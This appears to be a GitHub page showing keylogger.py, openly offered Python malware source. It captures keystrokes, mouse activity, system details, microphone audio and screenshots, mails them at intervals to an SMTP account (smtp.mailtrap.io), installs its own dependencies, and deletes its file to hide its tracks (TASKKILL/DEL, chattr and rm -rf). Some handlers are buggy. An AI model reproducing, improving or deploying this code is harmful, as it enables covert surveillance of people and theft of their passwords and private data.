-
-
Notifications
You must be signed in to change notification settings - Fork 476
/
Copy pathkeylogger.py
145 lines (123 loc) · 4.92 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
try:
import logging
import os
import platform
import smtplib
import socket
import threading
import wave
import pyscreenshot
import sounddevice as sd
from pynput import keyboard
from pynput.keyboard import Listener
from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import glob
except ModuleNotFoundError:
from subprocess import call
modules = ["pyscreenshot","sounddevice","pynput"]
call("pip install " + ' '.join(modules), shell=True)
finally:
EMAIL_ADDRESS = "YOUR_USERNAME"
EMAIL_PASSWORD = "YOUR_PASSWORD"
SEND_REPORT_EVERY = 60 # as in seconds
class KeyLogger:
def __init__(self, time_interval, email, password):
self.interval = time_interval
self.log = "KeyLogger Started..."
self.email = email
self.password = password
def appendlog(self, string):
self.log = self.log + string
def on_move(self, x, y):
current_move = logging.info("Mouse moved to {} {}".format(x, y))
self.appendlog(current_move)
def on_click(self, x, y):
current_click = logging.info("Mouse moved to {} {}".format(x, y))
self.appendlog(current_click)
def on_scroll(self, x, y):
current_scroll = logging.info("Mouse moved to {} {}".format(x, y))
self.appendlog(current_scroll)
def save_data(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = "SPACE"
elif key == key.esc:
current_key = "ESC"
else:
current_key = " " + str(key) + " "
self.appendlog(current_key)
def send_mail(self, email, password, message):
sender = "Private Person <[email protected]>"
receiver = "A Test User <[email protected]>"
m = f"""\
Subject: main Mailtrap
To: {receiver}
From: {sender}
Keylogger by aydinnyunus\n"""
m += message
with smtplib.SMTP("smtp.mailtrap.io", 2525) as server:
server.login(email, password)
server.sendmail(sender, receiver, message)
def report(self):
self.send_mail(self.email, self.password, "\n\n" + self.log)
self.log = ""
timer = threading.Timer(self.interval, self.report)
timer.start()
def system_information(self):
hostname = socket.gethostname()
ip = socket.gethostbyname(hostname)
plat = platform.processor()
system = platform.system()
machine = platform.machine()
self.appendlog(hostname)
self.appendlog(ip)
self.appendlog(plat)
self.appendlog(system)
self.appendlog(machine)
def microphone(self):
fs = 44100
seconds = SEND_REPORT_EVERY
obj = wave.open('sound.wav', 'w')
obj.setnchannels(1) # mono
obj.setsampwidth(2)
obj.setframerate(fs)
myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2)
obj.writeframesraw(myrecording)
sd.wait()
self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=obj)
def screenshot(self):
img = pyscreenshot.grab()
self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=img)
def run(self):
keyboard_listener = keyboard.Listener(on_press=self.save_data)
with keyboard_listener:
self.report()
keyboard_listener.join()
with Listener(on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll) as mouse_listener:
mouse_listener.join()
if os.name == "nt":
try:
pwd = os.path.abspath(os.getcwd())
os.system("cd " + pwd)
os.system("TASKKILL /F /IM " + os.path.basename(__file__))
print('File was closed.')
os.system("DEL " + os.path.basename(__file__))
except OSError:
print('File is close.')
else:
try:
pwd = os.path.abspath(os.getcwd())
os.system("cd " + pwd)
os.system('pkill leafpad')
os.system("chattr -i " + os.path.basename(__file__))
print('File was closed.')
os.system("rm -rf" + os.path.basename(__file__))
except OSError:
print('File is close.')
keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD)
keylogger.run()